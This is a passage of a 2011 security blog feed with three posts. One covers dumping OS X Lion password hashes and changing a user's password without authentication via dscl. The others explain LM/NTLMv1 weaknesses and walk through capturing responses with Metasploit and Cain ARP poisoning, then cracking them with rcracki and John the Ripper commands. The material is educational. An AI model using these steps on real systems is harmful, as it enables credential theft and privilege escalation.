This ShadowHashData attribute actually contains the same hash stored in user bob's shadow .plist file. The interesting thing about this? root privileges are not required. All users on the system, regardless of privilege, have the ability to access the ShadowHashData attribute from any other user's profile.&lt;br /&gt;
&lt;br /&gt;
Due to Lions relatively short time on the market, I am yet to find any of the major crackers supporting OS X Lion hashes (SHA512 + 4-byte salt). To simplify the cracking of these hashes I have created a simple python script which can be &lt;a href="http://pastebin.com/RYqxi7Ca"&gt;downloaded here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Now, if the password is not found by the dictionary file you're out of luck, right? Well, no! Why crack hashes when you can just change the password directly! It appears Directory Services in Lion no longer requires authentication when requesting a password change for the current user. So, in order to change the password of the currently logged in user, simply use:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
$ dscl localhost -passwd /Search/Users/bob&lt;username&gt;&lt;br /&gt;&lt;/username&gt;&lt;/blockquote&gt;
&lt;br /&gt;
And voilà&lt;span style="font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11pt;"&gt;&lt;/span&gt;! You will be prompted to enter a new password without the need to authenticate.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="MsoNormal"&gt;
There has been some conjecture surrounding the severity of
these attacks. Whilst the ability to change the currently active user’s
password is not a privilege escalation flaw per se, it can under some circumstances
be used for these purposes. Allow me to provide a scenario:&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
A user with administrative rights is browsing the internet
with Safari. The user happens to browse to a website hosting a malicious Java Applet.
Unbeknownst to the user, they allow the innocent looking Java Applet to run.
The Applet will proceed to make a connection back to the attacker, providing
the attacker with full shell access. Whilst the attacker has access to the
system, they are provided only with limited user privileges (they still do
not have root access). This would limit what an attacker could accomplish.
However, with the vulnerabilities described above the attacker now has an
advantage:&amp;nbsp; they can change the password
of the current user. Now remember, the current user is an administrator. So now
all the attacker has to do is &lt;i style="mso-bidi-font-style: normal;"&gt;sudo –s&lt;/i&gt;
&amp;nbsp;to become root. If lets say the victim did
not have administrative rights, the attacker still has the ability to extract
user hashes from the system and attempt to crack them.&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
As a temporary measure to mitigate these attacks (before
Apple release a patch), it is recommended to limit standard access to the dscl
utility. The can be done as follows:&lt;/div&gt;
&lt;div class="MsoNormal"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;div class="MsoNormal"&gt;
&amp;nbsp;$ sudo chmod 100
/usr/bin/dscl&lt;/div&gt;
&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-6832937480836844952?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/BgY44vxArJ_vehy0aOMc3GepE00/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BgY44vxArJ_vehy0aOMc3GepE00/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/BgY44vxArJ_vehy0aOMc3GepE00/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BgY44vxArJ_vehy0aOMc3GepE00/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/6832937480836844952/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2011/09/cracking-os-x-lion-passwords.html#comment-form" title="106 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/6832937480836844952?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/6832937480836844952?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2011/09/cracking-os-x-lion-passwords.html" title="Cracking OS X Lion Passwords" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-HkfY9mfC9jg/TnXes39RafI/AAAAAAAAAFY/BzAHuvJIDlo/s72-c/Screen+Shot+2011-09-18+at+9.33.24+PM.png" height="72" width="72" /><thr:total>106</thr:total></entry><entry gd:etag="W/&quot;D0AGSX88eyp7ImA9WhdVEks.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-2398837823271230275</id><published>2011-04-21T06:32:00.001-07:00</published><updated>2011-09-17T06:22:08.173-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-17T06:22:08.173-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordlist" /><category scheme="http://www.blogger.com/atom/ns#" term="cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="ntlm" /><category scheme="http://www.blogger.com/atom/ns#" term="lm" /><category scheme="http://www.blogger.com/atom/ns#" term="authentication" /><category scheme="http://www.blogger.com/atom/ns#" term="microsoft" /><category scheme="http://www.blogger.com/atom/ns#" term="dictionary" /><title>Attacking LM/NTLMv1 Challenge/Response Authentication</title><content type="html">&lt;p&gt;In &lt;a href="http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html"&gt;Part 1&lt;/a&gt; of the “LM/NTLMv1 Challenge/Response Authentication” series I discussed how both the LANMAN/NTLMv1 protocols operate and the  weaknesses that plague these protocols. In this post I will demonstrate how attackers leverage these weaknesses to exploit the LANMAN/NTLMv1 protocols in order to compromise user credentials.  &lt;/p&gt;&lt;p&gt;For the remainder of this article I will be focusing on attacking the SMB protocol (Windows file sharing) as this is where LANMAN/NTLMv1 is most commonly used.  &lt;/p&gt;&lt;p&gt;  &lt;/p&gt;&lt;h2&gt;Capturing the Response&lt;/h2&gt; &lt;p&gt;In order to capture a client’s LANMAN/NTLMv1 response, attackers will often utilise one of two methods:  &lt;/p&gt;&lt;ol&gt; &lt;li&gt;Force the client host to connect to them  &lt;/li&gt;&lt;li&gt;Conduct a man-in-the-middle (MITM) attack and “sniff” the client’s response &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;To demonstrate these methods, I will be using the &lt;a href="http://www.metasploit.com/"&gt;Metasploit Framework&lt;/a&gt; or &lt;a href="http://www.oxid.it/cain.html"&gt;Cain and Abel&lt;/a&gt; respectively.  &lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;u&gt;Metasploit&lt;/u&gt;&lt;/strong&gt; &lt;/em&gt; &lt;/p&gt;&lt;p&gt;In order for a client host to connect to us, we first need to create a listening SMB service that will accept incoming connections. Fortunately, the Metasploit Framework has already provided us with a module to do this :)  &lt;/p&gt;&lt;p&gt;1. Fire up Metasploit  &lt;/p&gt;&lt;p&gt;2. Load the SMB server module &lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;msf &amp;gt; use auxiliary/server/capture/smb&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;3. Set the server host address  &lt;/p&gt;&lt;blockquote&gt; &lt;p&gt;msf &amp;gt; set srvhost x.x.x.x&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;4. Run the module  &lt;/p&gt;&lt;blockquote&gt; &lt;p&gt;msf &amp;gt; run&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_sSaQ0kp40gY/TbAxwOHSIMI/AAAAAAAAAEM/nLBnzcadWpQ/s1600-h/image%5B6%5D.png"&gt;&lt;img style="border-width: 0px; display: inline;" title="image" alt="image" src="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAxw6By4DI/AAAAAAAAAEQ/LvPkAG8QuMo/image_thumb%5B2%5D.png?imgmax=800" border="0" height="165" width="386" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;Now that we have a listening SMB service, all that is needed is for a victim to connect to our machine. By calling “info” on the SMB server module, the module’s description explains “The easiest way to force a SMB authentication attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page or email message.”  &lt;/p&gt;&lt;p&gt;A successful capture will look something like this:  &lt;/p&gt;&lt;p&gt;&lt;a href="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAxyLWh98I/AAAAAAAAAEU/lC_DTIVkvoQ/s1600-h/image%5B16%5D.png"&gt;&lt;img style="border-width: 0px; display: inline;" title="image" alt="image" src="http://lh3.ggpht.com/_sSaQ0kp40gY/TbAxzAK2k5I/AAAAAAAAAEY/4nJCEX5HtIo/image_thumb%5B8%5D.png?imgmax=800" border="0" height="44" width="417" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;u&gt;Cain and Abel&lt;/u&gt;&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&lt;p&gt;The second method we can use to capture a client’s response is by conducting a MITM attack using Cain.  &lt;/p&gt;&lt;p&gt;1. Start Cain’s sniffer  &lt;/p&gt;&lt;p&gt;2. In the “Sniffer” tab, select the “Plus” icon and choose the hosts victims to poison.  &lt;/p&gt;&lt;p&gt;&lt;a href="http://lh3.ggpht.com/_sSaQ0kp40gY/TbAx0B9OlbI/AAAAAAAAAEc/Yf6ibKBQV4U/s1600-h/cain%5B3%5D.jpg"&gt;&lt;img style="border-width: 0px; display: inline;" title="cain" alt="cain" src="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAx05MWB4I/AAAAAAAAAEg/ShQybYncXok/cain_thumb%5B1%5D.jpg?imgmax=800" border="0" height="296" width="408" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;3. Activate Cain’s ARP Poison Routing feature  &lt;/p&gt;&lt;p&gt;4. Select the bottom “Passwords” tab and wait for the client’s response to appear in the left pane under “SMB”.  &lt;/p&gt;&lt;p&gt;&lt;a href="http://lh5.ggpht.com/_sSaQ0kp40gY/TbAx1trm8rI/AAAAAAAAAEk/rBdbyIwgSpU/s1600-h/cain2%5B3%5D.jpg"&gt;&lt;img style="border-width: 0px; display: inline;" title="cain2" alt="cain2" src="http://lh5.ggpht.com/_sSaQ0kp40gY/TbAx2uzu6mI/AAAAAAAAAEo/67UpvrS1_ok/cain2_thumb%5B1%5D.jpg?imgmax=800" border="0" height="303" width="449" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;h2&gt; &lt;/h2&gt; &lt;h2&gt;Cracking the Response&lt;/h2&gt; &lt;p&gt;Three approaches are often referenced when cracking a LANMAN/NTLMv1 response:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Rainbow Tables  &lt;/li&gt;&lt;li&gt;Dictionary Attack  &lt;/li&gt;&lt;li&gt;Brute Force&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;All of these methods use what is known as the “known challenge attack” technique. In order to crack the LANMAN/NTLMv1 response we are exploiting the fact that the only randomness (or entropy) that makes the LANMAN/NTLMv1 response unique every time is the challenge sent by the Server. As the attacker is always the Server, we can send the client a static challenge. This effectively defeats any randomness in the protocol. Because we now know what the challenge will be every single time, we can effectively crack the LANMAN/NTLMv1 response as if it were a static response.&lt;/p&gt; &lt;p&gt;Note: It is common practice to use \x11\x22\x33\x44\x55\x66\x77\x88 as the static challenge.&lt;/p&gt; &lt;p&gt;Before we look at each of these methods it should be noted that LANMAN responses are only configured on Windows XP and Server 2003 system (by default). Windows 7, Vista and Server 2008 systems are configured to utilise NTLMv2 by default.&lt;/p&gt; &lt;p&gt;A simple test to check which protocol is currently in use is to see if the LM Hash and NT Hash are different in the capture logs. A difference in these hashes would indicate LANMAN is in in use. If these hashes are the same, LANMAN is disabled and NTMLv1 is in use.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_sSaQ0kp40gY/TbAx3RGnLAI/AAAAAAAAAEs/nV633ke0_tw/s1600-h/image%5B24%5D.png"&gt;&lt;img style="border-width: 0px; display: inline;" title="image" alt="image" src="http://lh3.ggpht.com/_sSaQ0kp40gY/TbAx4KGanJI/AAAAAAAAAEw/l4y460QzSbs/image_thumb%5B12%5D.png?imgmax=800" border="0" height="74" width="480" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_sSaQ0kp40gY/TbAx4hNEz9I/AAAAAAAAAE0/4bj45iI2lKI/s1600-h/hashes2%5B3%5D.jpg"&gt;&lt;img style="border-width: 0px; display: inline;" title="hashes2" alt="hashes2" src="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAx5mhLodI/AAAAAAAAAE4/RSsbk4zxQBE/hashes2_thumb%5B1%5D.jpg?imgmax=800" border="0" height="60" width="494" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;u&gt;1. Rainbow Tables&lt;/u&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;As you would remember from &lt;a href="http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse.html"&gt;Part 1&lt;/a&gt; of this series, the difference between LANMAN challenge/response and NTLMv1 is that the former uses the locally stored LM Hash whilst the latter uses the locally stored NT Hash. This fundamental difference makes a substantial difference when it comes to cracking the LANMAN response. Because LANMAN utilises the weaker LM hashing algorithm, an attacker can trivially obtain the plain-text of a LANMAN response within minutes.&lt;/p&gt; &lt;p&gt;The quickest approach to cracking the LANMAN response is by using rainbow tables. Due to the nature of the LM Hash, rainbow tables are very effective against this hash type. The rainbow tables necessary for this exercise are called “halflmchall” and can be found &lt;a href="http://www.freerainbowtables.com/en/tables/"&gt;here&lt;/a&gt;. To use these rainbow tables the &lt;a href="http://www.freerainbowtables.com/en/download/"&gt;rcracki_md&lt;/a&gt; tool will need to be downloaded.&lt;/p&gt; &lt;p&gt;The following &lt;em&gt;rcracki&lt;/em&gt; command will inflate the rainbow table chains and attempt to find the plaintext password for the LANMAN response:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;gt; rcracki_mt.exe –h b4dfbf8fa9eaac3 "C:\rainbowtables\*.rti”&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Note: We are only cracking the first 8 bytes of the captured LANMAN response. Due to the nature of the LM Hash, we are only able to use rainbow tables on the first portion of the LANMAN response. The rest we will have to use brute-force.&lt;/p&gt; &lt;p&gt;A successful result will look like this:&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_sSaQ0kp40gY/TbAx6Gy0u1I/AAAAAAAAAE8/_Tzjey_6x3c/s1600-h/image%5B28%5D.png"&gt;&lt;img style="border-width: 0px; display: inline;" title="image" alt="image" src="http://lh3.ggpht.com/_sSaQ0kp40gY/TbAx609bX_I/AAAAAAAAAFA/CCNjbvL7yqk/image_thumb%5B14%5D.png?imgmax=800" border="0" height="160" width="420" /&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;The remaining characters we can brute force using the Metasploit “halflm_second.rb” script. This can be found in the “tools” directory in the root Metasploit directory. The script is run as follows:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;# ruby halflm_second.rb –n 5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896 –p ADMINIS&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Where –n is the LANMAN response and –p is the discovered plaintext.&lt;/p&gt; &lt;p&gt;Whilst it is possible to crack an NTLMv1 response using rainbow tables, I have yet to come across any that have been pre-computed. Due to the nature of NT Hashes, NTLMv1 rainbow tables would be far more time consuming to generate and require large amounts of disk space. &lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;em&gt;&lt;u&gt;2. Dictionary Attack&lt;/u&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;The second method often used to crack LAMNAM/NTLMv1 responses is a dictionary attack. &lt;/p&gt; &lt;p&gt;I will demonstrate the dictionary attack using two common tools:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;John the Ripper  &lt;/li&gt;&lt;li&gt;Cain and Abel&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;strong&gt;John the Ripper&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;The following syntax is used to mount a dictionary attack against LANMAN responses:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;# ./john –format:netlm /tmp/capture.txt&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Where capture.txt is the file containing the LANMAN response. The format of capture file must be as follows:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;test::home:5b4dfbf8fa9eaac3d939df32af8c61a0c122288e90918896:44c1bf5f64fbd2109461da1ca8518e75b67a4116c2351679:1122334455667788&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Where test is the username, home is the workgroup/domain, the first hash is the LM Hash, the second hash is the NT Hash and the final value is the challenge.&lt;/p&gt; &lt;p&gt;To use &lt;em&gt;john&lt;/em&gt; against NTLMv1 specify &lt;em&gt;netntlm &lt;/em&gt;with the -format flag.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Cain and Abel&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;If Cain was used to sniff the capture, right click on the entry and select “Send to Cracker”.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAx7sZTGqI/AAAAAAAAAFE/APCdzrT-wR0/s1600-h/image%5B32%5D.png"&gt;&lt;img style="border-width: 0px; display: inline;" title="image" alt="image" src="http://lh5.ggpht.com/_sSaQ0kp40gY/TbAx8mbGFlI/AAAAAAAAAFI/PpMoyB9lkCE/image_thumb%5B16%5D.png?imgmax=800" border="0" height="191" width="502" /&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;In the “Cracker” tab, right click on the entry and choose your appropriate option from the “Dictionary Attack” menu option.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAx9aFAqbI/AAAAAAAAAFM/DV07zWww_so/s1600-h/image%5B39%5D.png"&gt;&lt;img style="border-width: 0px; display: inline;" title="image" alt="image" src="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAx-cT4xPI/AAAAAAAAAFQ/D9dOMWROhS4/image_thumb%5B19%5D.png?imgmax=800" border="0" height="269" width="510" /&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;Note: For a list of dictionary files see my &lt;a href="http://www.defenceindepth.net/2010/05/password-wordlists-and-dictionaries.html"&gt;post on wordlists&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;If you did not capture the response using Cain, and are importing a capture file, the file must be in the following format:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;user:workgroup-or-domain:challenge:LMHash:NTHash&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;em&gt;3. Brute Force&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Whilst crude, brute-forcing can be effective against weaker passwords.&lt;/p&gt; &lt;p&gt;To brute-force in Cain, follow the steps detailed above and select “Brute-Force Attack” from the menu item.&lt;/p&gt; &lt;p&gt;For the sake of brevity, I will not go into how John the Ripper can brute-force hashes. This is quite a lengthy topic in itself. Further reading on this topic can be found using Google.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-2398837823271230275?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0CW4AbH9OM4A4s8qu6nBM1hy0_E/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0CW4AbH9OM4A4s8qu6nBM1hy0_E/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0CW4AbH9OM4A4s8qu6nBM1hy0_E/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0CW4AbH9OM4A4s8qu6nBM1hy0_E/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/2398837823271230275/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/2398837823271230275?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/2398837823271230275?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html" title="Attacking LM/NTLMv1 Challenge/Response Authentication" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh6.ggpht.com/_sSaQ0kp40gY/TbAxw6By4DI/AAAAAAAAAEQ/LvPkAG8QuMo/s72-c/image_thumb%5B2%5D.png?imgmax=800" height="72" width="72" /><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;D0ANSH08eCp7ImA9WhdVEks.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-1608579265021980760</id><published>2011-04-20T01:18:00.001-07:00</published><updated>2011-09-17T06:23:19.370-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-17T06:23:19.370-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ntlm" /><category scheme="http://www.blogger.com/atom/ns#" term="hash" /><category scheme="http://www.blogger.com/atom/ns#" term="lm" /><category scheme="http://www.blogger.com/atom/ns#" term="authentication" /><category scheme="http://www.blogger.com/atom/ns#" term="microsoft" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>LM/NTLMv1 Challenge/Response Authentication Explained</title><content type="html">&lt;p&gt;The Microsoft Windows platform uses a myriad of protocols to authenticate users across a network. Two such protocols widely in use today are the LANMAN challenge/response and NTLMv1 protocols. Whilst newer, more secure protocols (such as NTLMv2) are ready to take their place, LANMAN challenge/response and NTLMv1 are still widely deployed today for reasons of interoperability. As with most things Microsoft-related, ubiquity often equates to exploitability.  &lt;/p&gt;&lt;p&gt;In this two part series I will discuss how the LANMAN challenge/response and NTLMv1 protocols operate, how malicious users can take advantage of their shortcomings, and best practice recommendations for securely deploying these protocols.  &lt;/p&gt;&lt;p&gt;Microsoft Windows supports two primary algorithms for locally authenticating users. These algorithms generate what’s known as an “LM Hash” or an “NT Hash”.  &lt;/p&gt;&lt;p&gt;Enabled by default in Windows NT, 2000, XP, and Server 2003, the LM Hash has become synonymous with bad hashing practices over the years. Used for backward compatibility, this older hashing method has several inherit flaws, making it trivial for attackers to crack LM Hashes within minutes.  &lt;/p&gt;&lt;p&gt;The second, more secure, hashing algorithm generates what’s known as an NT Hash. Exclusively on by default in Windows Vista, 7, and Server 2008, this hash is generated using the MD4 hashing algorithm.  &lt;/p&gt;&lt;p&gt;Note: By default, Windows XP stores both the LM Hash and the NT Hash.  &lt;/p&gt;&lt;p&gt;Whilst this reading does not require a technical understanding of how the NT Hash and the LM Hash are generated, some readers may like to broaden their understanding of how these hashes are generated. The following &lt;a href="http://www.blogger.com/www.uninformed.org/?v=3&amp;amp;a=2&amp;amp;t=pdf"&gt;paper&lt;/a&gt; provides an in depth discussion on the topic.  &lt;/p&gt;&lt;p&gt;Before we begin looking at the Microsoft network authentication protocols, it is important to note that LANMAN challenge/response and NTLMv1 are the same protocol except for one key difference: LANMAN challenge/response utilises the locally stored “LM Hash” whilst NTLMv1 uses the locally stored “NT Hash”. Aside from this, the protocols (for all intensive purposes) operate exactly the same way.  &lt;/p&gt;&lt;p&gt;The LANMAN challenge/response and NTLMv1 protocols authenticate users in the following manner:  &lt;/p&gt;&lt;p&gt;   1. Client sends an authentication request to the Server.&lt;br /&gt;2. A protocol negotiation occurs between the Client and Server.&lt;br /&gt;3. The Server sends the Client a (pseudo-random) 8-byte challenge.&lt;br /&gt;4. The Client sends a 24-byte response.&lt;br /&gt;5. The Server authenticates the Client.  &lt;/p&gt;&lt;p&gt;&lt;a href="http://lh5.ggpht.com/_sSaQ0kp40gY/Ta6WzXjRelI/AAAAAAAAADo/L7KAZpH2zAo/s1600-h/auth%5B21%5D.jpg"&gt;&lt;img style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="auth" alt="auth" src="http://lh3.ggpht.com/_sSaQ0kp40gY/Ta6Wz2WpvCI/AAAAAAAAADs/3Zl9ZntghMg/auth_thumb%5B17%5D.jpg?imgmax=800" border="0" height="117" width="312" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;The Client’s response is made up of the following steps:  &lt;/p&gt;&lt;ol&gt; &lt;li&gt;Split the locally stored 16-byte hash (LM Hash for LANMAN challenge/response or NT Hash for NTLMv1) into three 7-byte portions.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Using the DES encryption algorithm, encrypt the Server’s challenge three separate times using each of the keys derived in Step 1.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Concatenate the response of all three outputs.&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Now, at first glance this protocol seems fairly sensible. But you may have noticed something in Step 1 of the Client’s response. If the hash (LM or NT) is 16-bytes long, how do we break it up into three 7-byte portions? i.e. 7 does not divide into 16 evenly.  &lt;/p&gt;&lt;p&gt;&lt;a href="http://lh5.ggpht.com/_sSaQ0kp40gY/Ta6W0pyoVLI/AAAAAAAAADw/E4-X6mVH9WA/s1600-h/hash1%5B6%5D.jpg"&gt;&lt;img style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="hash1" alt="hash1" src="http://lh6.ggpht.com/_sSaQ0kp40gY/Ta6W1PYzV3I/AAAAAAAAAD0/KuQShyRdLgE/hash1_thumb%5B4%5D.jpg?imgmax=800" border="0" height="75" width="357" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;To combat this unevenness, the LANMAN and NTLMv1 algorithms pad the third key with 5 nulls. By doing this, we now have three evenly portioned keys.  &lt;/p&gt;&lt;p&gt;&lt;a href="http://lh5.ggpht.com/_sSaQ0kp40gY/Ta6W1tLEnpI/AAAAAAAAAD4/xBoEOqFxT1o/s1600-h/hash2%5B10%5D.jpg"&gt;&lt;img style="border-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="hash2" alt="hash2" src="http://lh5.ggpht.com/_sSaQ0kp40gY/Ta6W2VFNxvI/AAAAAAAAAD8/PtpahxN5t-Q/hash2_thumb%5B8%5D.jpg?imgmax=800" border="0" height="67" width="346" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;So, the response process in its entirety looks something like this:  &lt;/p&gt;&lt;p align="center"&gt;&lt;a href="http://lh4.ggpht.com/_sSaQ0kp40gY/Ta6W3NZxWAI/AAAAAAAAAEA/nLay9OkOMpU/s1600-h/hash3%5B8%5D.jpg"&gt;&lt;img style="border-width: 0px; display: inline;" title="hash3" alt="hash3" src="http://lh6.ggpht.com/_sSaQ0kp40gY/Ta6W4NP3F0I/AAAAAAAAAEE/YoqhppuXNSg/hash3_thumb%5B6%5D.jpg?imgmax=800" border="0" height="233" width="441" /&gt;&lt;/a&gt;  &lt;/p&gt;&lt;p&gt;Now that we have an understanding of how the LANMAN challenge/response and NTLMv1 protocols work, let’s take a look at some of the deficiencies these protocols inherit.  &lt;/p&gt;&lt;ol&gt; &lt;li&gt;There is no “&lt;a href="http://en.wikipedia.org/wiki/Diffusion_%28cryptography%29"&gt;diffusion&lt;/a&gt;” within the protocol. That is, there are three separate parts to the response that could individually be attacked. Diffusion would ensure each part of the DES output relied on the previous – increasing the overall complexity.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;DES is old and considered &lt;a href="http://en.wikipedia.org/wiki/Data_Encryption_Standard#Security_and_cryptanalysis"&gt;cryptographically weak by many&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The third DES key is weak. As the third DES key is padded with 5 nulls, there are only 2^16 possible unknown values. This would take a modern computer seconds to crack.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;There is a lack of randomness. The only randomness occurring within the algorithm is that provided by the pseudo-random challenge generated by the client. &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;In &lt;a href="http://www.defenceindepth.net/2011/04/attacking-lmntlmv1-challengeresponse_21.html"&gt;Part 2&lt;/a&gt; of this series I will demonstrate how attackers can take advantage of the aforementioned deficiencies in the LANMAN challenge/response and NTLMv1 protocols.    &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-1608579265021980760?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Bdq3EN1AbGn7gAolsYOWVjVbMU8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Bdq3EN1AbGn7gAolsYOWVjVbMU8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
